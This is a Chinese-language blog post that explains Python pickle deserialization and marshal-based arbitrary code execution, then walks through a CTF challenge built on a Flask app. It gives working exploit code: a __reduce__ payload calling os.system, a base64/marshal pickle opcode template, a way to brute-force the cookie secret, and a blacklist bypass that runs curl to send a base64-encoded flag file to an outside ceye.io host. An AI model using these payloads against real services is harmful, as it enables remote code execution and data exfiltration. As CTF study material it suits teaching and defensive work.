1.python pickle反序列化漏洞

自己的理解:

  由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法,因此如果应用程序接受了不可信任的序列化的数据,那么就可能导致安全问题。

import pickle
import os
class gen(object):
def __reduce__(self):
s = """dir"""
return os.system, (s,) p = gen()
payload = pickle.dumps(p)
with open('payload.pkl', 'wb') as f:
f.write(payload)

以上这段代码中,要调用os模块的system函数来执行dir命令,其中reduce函数中的返回值中需要定义的有要调用的函数,需要传给函数的参数(以元组的形式给出);

接着只需要将该对象实例化后再序列化即可

import pickle
'''
some code
'''
pickle.load(open('./payload.pkl'))
'''
some code
'''

假设以上这段代码是服务器端处理反序列数据的时候的操作,其中没有将要调用的对象函数进行过滤,而是直接进行解序列化,导致代码执行 os.system("dir") 。

2.pickle任意代码执行

import marshal
import base64 def foo():
pass # Your code here print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

我们只需要在foo函数中写上需要执行的代码即可。

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

执行以上函数便可以触发任意代码执行漏洞

from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile SECRET_KEY = 'you will never guess' if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip() app = Flask(__name__)
app.config.from_object(__name__) black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] @app.before_request
def count():
session['cnt'] = 0 @app.route('/')
def home():
remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('index.html', txt=remembered_str, location=location) @app.route('/clear')
def clear():
print("Reminder cleared!")
response = redirect(url_for('home'))
response.set_cookie('location', max_age=0)
return response @app.route('/reminder', methods=['POST', 'GET'])
def reminder():
if request.method == 'POST':
location = request.form["reminder"]
if location == '':
print("Message cleared, tell us when you have found more brains.")
else:
print("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
print 'location'
return response
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('reminder.html') class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'The callable object {value} is not allowed'.format(value=str(value))) class TimesException(Exception):
def __init__(self):
super(TimesException, self).__init__(
'Call func too many times!') def _hook_call(func):
def wrapper(*args, **kwargs):
session['cnt'] += 1
print session['cnt']
print args[0].stack
for i in args[0].stack:
if i in black_type_list:
raise FilterException(args[0].stack[-2])
if session['cnt'] > 4:
raise TimesException()
return func(*args, **kwargs)
return wrapper def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
print strs,files,unpkler
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load() def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest() if __name__ == '__main__': app.run(host="0.0.0.0", port=5051)

以上面这道ctf题目为例子,可以看到当我们访问reminder页面时(post方法),首先会获取http头部的location属性,然后经过pickle序列化并进行base64编码,然后调用make_cookie函数用为用户设置cookie值,然后跳转到home页面

location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
当我们以get方法访问remainder页面时,此时调用getlocation()
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location

此时从cookie中获取location的值,此时会将location的值和密码再进行计算hash然后和从用户处获得的hash值进行比较,如果两者相同的话则说明身份正确。

由于我们是提前不知道密钥的值,并且已知密钥的长度为4,并且location是可控的,那么首先将payload通过post方法到remainder页面以后将会获得一个location的cookie值,此时包含了经过hash的密钥和location,又因为location是我们

已知的,所以可以在本地爆破四位密钥,因为我们最终要利用的是loads函数,它要接收的是一个经pickle序列化后的对象,所以我们必须在本地构造好cookie,所以才需要爆破密钥的值。

因此,构造一个任意的location,就能得到一个hash值,然后经过爆破以后得到密钥指,然后把payload的base64的值和密钥值hash以后组成cookie值get到readminer页面,触发序列化漏洞。

这里因为有黑名单过滤,所以可以使用map函数绕过

class Test(object):
def __init__(self):
self.a = 1
self.b = ''
self.c = ''
def __reduce__(self):
return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"]) aa = Test()
payload = b64e(pickle.dumps(aa))
 

python pickle命令执行与marshal 任意代码执行的更多相关文章

  1. Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法

    Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...

  2. Git漏洞允许任意代码执行(CVE-2018-17456)复现

    Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为C ...

  3. PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

    首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或  -dauto_prepend_ ...

  4. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  5. 修复Apache Log4j任意代码执行漏洞安全风险通告

    2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...

  6. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  7. 转载--Typecho install.php 反序列化导致任意代码执行

    转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...

  8. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...

  9. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

随机推荐

  1. android android各种应用的许可

    android各种应用的许可 在Android的设计中,资源的访问或者网络连接,要得到这些服务都需要声明其访问权限,否则将无法正常工作.在Android中这样的权限有很多种,这里将各类访问权限一一罗列 ...

  2. python-输入

    1. python2版本中 咱们在银行ATM机器前取钱时,肯定需要输入密码,对不? 那么怎样才能让程序知道咱们刚刚输入的是什么呢?? 大家应该知道了,如果要完成ATM机取钱这件事情,需要先从键盘中输入 ...

  3. UI控件的位置

    1.该位置指的是本控件的中心点位于点 (100, 100)上(不包含尺寸),可以用于中心对齐在使用frame设置位置的情况下 self.view.center = CGPointMake(100, 1 ...

  4. kali linux之手动漏洞挖掘二

    漏洞挖掘原则/宗旨----所有变量,所有头(cookie中的变量),逐个变量删除 身份认证 常用若口令/基于字典的密码爆破/锁定帐号 信息收集(手机号,身份证,住址信息等等) 密码嗅探 会话sessi ...

  5. 【guava】字符串操作

    一,Strings类 public void testStrings(){ Strings.isNullOrEmpty("");//返回true Strings.nullToEmp ...

  6. 关于RN热更新-iOS端捕获加载jsbundle异常解决方案

    1.监听加载jsbundle异常的处理 模拟情况:合并增量后jsbundle文件出现部分错误调试发现当加载jsbundle出现异常时,RN模块RCTBatchedBridge.m中如下代码会执行: - ...

  7. 使用带参数的SQL语句向数据库中插入空值

    private void button1_Click(object sender, EventArgs e) { string name = textBox1.Text; int age = Conv ...

  8. XAF ORMDataModel构建的基础资料对象无法被调用显示的解决办法

    修正,其实只要在基础资料类中加入[XafDefaultProperty("名称")]标签即可. namespace NEO.ERP.Module.BusinessObjects.B ...

  9. Svn安装成功后的操作

    一.服务器端创建目录 在Svn服务器端创建一个用来保存客户端提交文件的文件夹 (我的路径是d:/Svn/App/book) 首先将Svn的服务端安装目录/bin 进行环境配置,以下操作是在进行环境配置 ...

  10. CentOS 7 系统区域和键盘设置

    系统区域设置包括语言.键盘布局等,可以通过修改/etc/locale.conf配置文件或使用localectl实用程序来进行设置,一般在安装时设置为默认选择(英文.美式键盘)即可 修改配置文件 [ro ...